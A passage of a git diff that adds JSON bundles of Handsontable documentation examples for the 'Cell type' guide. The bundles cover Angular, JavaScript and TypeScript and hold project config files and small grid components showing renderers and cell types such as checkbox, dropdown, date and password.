\"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\nimport { BaseRenderer } from 'handsontable/renderers';\n\nconst yellowRenderer: BaseRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n td.style.backgroundColor = 'yellow';\n};\n\nconst greenRenderer: BaseRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n\n td.style.backgroundColor = 'green';\n};\n\nconst colors: string[] = [\n 'yellow',\n 'red',\n 'orange',\n 'green',\n 'blue',\n 'gray',\n 'black',\n 'white',\n];\n\n@Component({\n selector: 'example1-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n {\n id: 1,\n name: 'Ted',\n isActive: true,\n color: 'orange',\n date: '2015-01-01',\n },\n { id: 2, name: 'John', isActive: false, color: 'black', date: null },\n { id: 3, name: 'Al', isActive: true, color: 'red', date: null },\n { id: 4, name: 'Ben', isActive: false, color: 'blue', date: null },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: true,\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n { data: 'id', type: 'text' },\n // 'text' is default, you don't actually need to declare it\n { data: 'name', renderer: yellowRenderer },\n // use default 'text' cell type but overwrite its renderer with yellowRenderer\n { data: 'isActive', type: 'checkbox' },\n { data: 'date', type: 'intl-date', locale: 'en-US', dateFormat: { year: 'numeric', month: '2-digit', day: '2-digit' } },\n { data: 'color', type: 'autocomplete', source: colors },\n ],\n cell: [{ row: 1, col: 0, renderer: greenRenderer }],\n cells: (row: number, col: number) => {\n if (row === 0 && col === 0) {\n return { renderer: greenRenderer };\n }\n\n return {};\n },\n height: 'auto'\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/cell-type/angular/example1.ts","breadcrumb":["Cell Types","Cell type"],"guide":"guides/cell-types/cell-type/cell-type.md","guideTitle":"Cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__angular__example2.ts.json new file mode 100644 index 00000000..600802da --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Cell type · Empty cells · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example2-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n ['empty string', '', '', '', '', ''],\n ['null', null, null, null, null, null],\n ['undefined', undefined, undefined, undefined, undefined, undefined],\n ['non-empty value', 'non-empty text', 13000, true, 'orange', 'password'],\n ];\n\n readonly gridSettings: GridSettings = {\n autoWrapRow: true,\n autoWrapCol: true,\n columnSorting: {\n sortEmptyCells: true,\n },\n columns: [\n {\n columnSorting: {\n indicator: false,\n headerAction: false,\n compareFunctionFactory: function compareFunctionFactory() {\n return function comparator() {\n return 0; // Don't sort the first visual column.\n };\n },\n },\n readOnly: true,\n },\n {},\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n { type: 'checkbox' },\n { type: 'dropdown', source: ['yellow', 'red', 'orange'] },\n { type: 'password' },\n ],\n preventOverflow: 'horizontal',\n colHeaders: [\n 'value
    underneath',\n 'type:text',\n 'type:numeric',\n 'type:checkbox',\n 'type:dropdown',\n 'type:password',\n ],\n height: 'auto'\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/cell-type/angular/example2.ts","breadcrumb":["Cell Types","Cell type"],"guide":"guides/cell-types/cell-type/cell-type.md","guideTitle":"Cell type","exampleId":"example2","exampleTitle":"Empty cells","docPermalink":"/cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__angular__example3.ts.json new file mode 100644 index 00000000..b62a66cf --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Cell type · Set different cell types in one column · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport type { CellMeta } from 'handsontable/settings';\n\nconst projectMembers = [\n ['Ana García', 'Product Manager'],\n ['James Okafor', 'Senior Engineer'],\n ['Li Wei', 'UX Designer'],\n];\n\nconst valueCellMeta: CellMeta[] = [\n { type: 'dropdown', source: ['Planning', 'In progress', 'Blocked'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', maximumFractionDigits: 0 },\n },\n {\n type: 'intl-date',\n locale: 'en-US',\n dateFormat: { year: 'numeric', month: 'short', day: 'numeric' },\n },\n { type: 'checkbox' },\n { type: 'text' },\n {\n type: 'handsontable',\n handsontable: {\n colHeaders: ['Name', 'Role'],\n autoColumnSize: true,\n data: projectMembers,\n getValue() {\n const selection = this.getSelectedLast();\n\n return this.getSourceDataAtCell(Math.max(selection?.[0] ?? 0, 0), 0);\n },\n },\n },\n { type: 'password' },\n];\n\n@Component({\n selector: 'example3-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: ``,\n})\nexport class AppComponent {\n readonly data = [\n ['Status', 'In progress'],\n ['Budget', 250000],\n ['Due date', '2026-09-30'],\n ['Approved', true],\n ['Project name', 'Website redesign'],\n ['Owner', 'Ana García'],\n ['Access code', 'release-2026'],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Setting', 'Value'],\n columns: [{ readOnly: true }, {}],\n cells: (row: number, col: number) => (col === 1 ? (valueCellMeta[row] ?? {}) : {}),\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n { provide: HOT_GLOBAL_CONFIG, useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig },\n ],\n};"},"docsPath":"guides/cell-types/cell-type/angular/example3.ts","breadcrumb":["Cell Types","Cell type"],"guide":"guides/cell-types/cell-type/cell-type.md","guideTitle":"Cell type","exampleId":"example3","exampleTitle":"Set different cell types in one column","docPermalink":"/cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__javascript__example1.js.json new file mode 100644 index 00000000..fd3d72c6 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Cell type · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst colors = ['yellow', 'red', 'orange', 'green', 'blue', 'gray', 'black', 'white'];\nconst yellowRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n td.style.backgroundColor = 'yellow';\n};\n\nconst greenRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n td.style.backgroundColor = 'green';\n};\n\nconst container = document.querySelector('#example1');\n\nnew Handsontable(container, {\n data: [\n { id: 1, name: 'Ted', isActive: true, color: 'orange', date: '2015-01-01' },\n { id: 2, name: 'John', isActive: false, color: 'black', date: null },\n { id: 3, name: 'Al', isActive: true, color: 'red', date: null },\n { id: 4, name: 'Ben', isActive: false, color: 'blue', date: null },\n ],\n colHeaders: true,\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n { data: 'id', type: 'text' },\n // 'text' is default, you don't actually need to declare it\n { data: 'name', renderer: yellowRenderer },\n // use default 'text' cell type but overwrite its renderer with yellowRenderer\n { data: 'isActive', type: 'checkbox' },\n {\n data: 'date',\n type: 'intl-date',\n locale: 'en-US',\n dateFormat: { year: 'numeric', month: '2-digit', day: '2-digit' },\n },\n { data: 'color', type: 'autocomplete', source: colors },\n ],\n cell: [{ row: 1, col: 0, renderer: greenRenderer }],\n cells(row, col) {\n if (row === 0 && col === 0) {\n this.renderer = greenRenderer;\n\n return { renderer: this.renderer };\n }\n\n return {};\n },\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/cell-type/javascript/example1.js","breadcrumb":["Cell Types","Cell type"],"guide":"guides/cell-types/cell-type/cell-type.md","guideTitle":"Cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__javascript__example1.ts.json new file mode 100644 index 00000000..124af554 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Cell type · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\nimport { BaseRenderer } from 'handsontable/renderers';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst colors: string[] = ['yellow', 'red', 'orange', 'green', 'blue', 'gray', 'black', 'white'];\n\nconst yellowRenderer: BaseRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n td.style.backgroundColor = 'yellow';\n};\n\nconst greenRenderer: BaseRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n\n td.style.backgroundColor = 'green';\n};\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data: [\n { id: 1, name: 'Ted', isActive: true, color: 'orange', date: '2015-01-01' },\n { id: 2, name: 'John', isActive: false, color: 'black', date: null },\n { id: 3, name: 'Al', isActive: true, color: 'red', date: null },\n { id: 4, name: 'Ben', isActive: false, color: 'blue', date: null },\n ],\n colHeaders: true,\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n { data: 'id', type: 'text' },\n // 'text' is default, you don't actually need to declare it\n { data: 'name', renderer: yellowRenderer },\n // use default 'text' cell type but overwrite its renderer with yellowRenderer\n { data: 'isActive', type: 'checkbox' },\n { data: 'date', type: 'intl-date', locale: 'en-US', dateFormat: { year: 'numeric', month: '2-digit', day: '2-digit' } },\n { data: 'color', type: 'autocomplete', source: colors },\n ],\n cell: [{ row: 1, col: 0, renderer: greenRenderer }],\n cells(row, col) {\n if (row === 0 && col === 0) {\n this.renderer = greenRenderer;\n\n return { renderer: this.renderer };\n }\n\n return {};\n },\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/cell-type/javascript/example1.ts","breadcrumb":["Cell Types","Cell type"],"guide":"guides/cell-types/cell-type/cell-type.md","guideTitle":"Cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__javascript__example2.js.json new file mode 100644 index 00000000..3ce6be44 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Cell type · Empty cells · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2');\n\nnew Handsontable(container, {\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['empty string', '', '', '', '', ''],\n ['null', null, null, null, null, null],\n ['undefined', undefined, undefined, undefined, undefined, undefined],\n ['non-empty value', 'non-empty text', 13000, true, 'orange', 'password'],\n ],\n columnSorting: {\n sortEmptyCells: true,\n },\n columns: [\n {\n columnSorting: {\n indicator: false,\n headerAction: false,\n compareFunctionFactory: function compareFunctionFactory() {\n return function comparator() {\n return 0; // Don't sort the first visual column.\n };\n },\n },\n readOnly: true,\n },\n {},\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n { type: 'checkbox' },\n { type: 'dropdown', source: ['yellow', 'red', 'orange'] },\n { type: 'password' },\n ],\n preventOverflow: 'horizontal',\n colHeaders: ['value
    underneath', 'type:text', 'type:numeric', 'type:checkbox', 'type:dropdown', 'type:password'],\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/cell-type/javascript/example2.js","breadcrumb":["Cell Types","Cell type"],"guide":"guides/cell-types/cell-type/cell-type.md","guideTitle":"Cell type","exampleId":"example2","exampleTitle":"Empty cells","docPermalink":"/cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__javascript__example2.ts.json new file mode 100644 index 00000000..cfbd3705 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__cell-type__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Cell type · Empty cells · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nnew Handsontable(container, {\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['empty string', '', '', '', '', ''],\n ['null', null, null, null, null, null],\n ['undefined', undefined, undefined, undefined, undefined, undefined],\n ['non-empty value', 'non-empty text', 13000, true, 'orange', 'password'],\n ],\n columnSorting: {\n sortEmptyCells: true,\n },\n columns: [\n {\n columnSorting: {\n indicator: false,\n headerAction: false,\n compareFunctionFactory: function compareFunctionFactory() {\n return function comparator() {\n return 0; // Don't sort the first visual column.\n };\n },\n },\n readOnly: true,\n },\n {},\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n { type: 'checkbox' },\n { type: 'dropdown', source: ['yellow', 'red', 'orange'] },\n { type: 'password' },\n ],\n preventOverflow: 'horizontal',\n colHeaders: ['value
